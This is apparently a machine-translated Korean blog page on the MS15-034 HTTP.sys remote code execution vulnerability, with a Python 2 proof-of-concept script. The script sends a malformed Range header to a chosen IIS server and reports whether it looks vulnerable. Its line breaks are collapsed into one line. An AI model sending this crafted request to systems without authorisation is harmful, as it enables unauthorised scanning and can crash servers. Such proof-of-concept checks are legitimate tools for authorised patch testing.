HTTP.sys 원격 실행 코드 빈틈

6313 단어
원격 실행 코드 빈틈은 HTTP 프로토콜 창고 (HTTP.sys) 에 존재합니다.sys에서 특수 설계된 HTTP 요청을 올바르게 분석하지 않으면 이 취약성이 발생할 수 있습니다.이 빈틈을 성공적으로 이용한 공격자는 시스템 계정의 상하문에서 임의의 코드를 실행할 수 있습니다.
공식 문서:https://technet.microsoft.com/zh-cn/library/security/MS15-034
POC(python2):
 1 #!/usr/bin/env python
 2 #-*-coding:utf-8-*-
 3 
 4 import socket
 5 import random
 6 
 7 ipAddr = raw_input("Please set your target:")
 8 hexAllFfff = "18446744073709551615"
 9 req1 = "GET / HTTP/1.0\r
\r
" 10 req = "GET / HTTP/1.1\r
Host: stuff\r
Range: bytes=0-
" + hexAllFfff + "\r
\r
" 11 12 print "[*] Audit Started" 13 14 try: 15 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 client_socket.connect((ipAddr, 80)) 17 client_socket.send(req1) 18 boringResp = client_socket.recv(1024) 19 if "Microsoft" not in boringResp: 20 print "[*] Not IIS" 21 exit(0) 22 client_socket.close() 23 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 24 client_socket.connect((ipAddr, 80)) 25 client_socket.send(req) 26 goodResp = client_socket.recv(1024) 27 if "Requested Range Not Satisfiable" in goodResp: 28 print "[!!] Looks VULN" 29 elif " The request has an invalid header name" in goodResp: 30 print "[*] Looks Patched" 31 else: 32 print "[*] Unexpected response, cannot discern patch status" 33 34 except Exception,e: 35 print e

좋은 웹페이지 즐겨찾기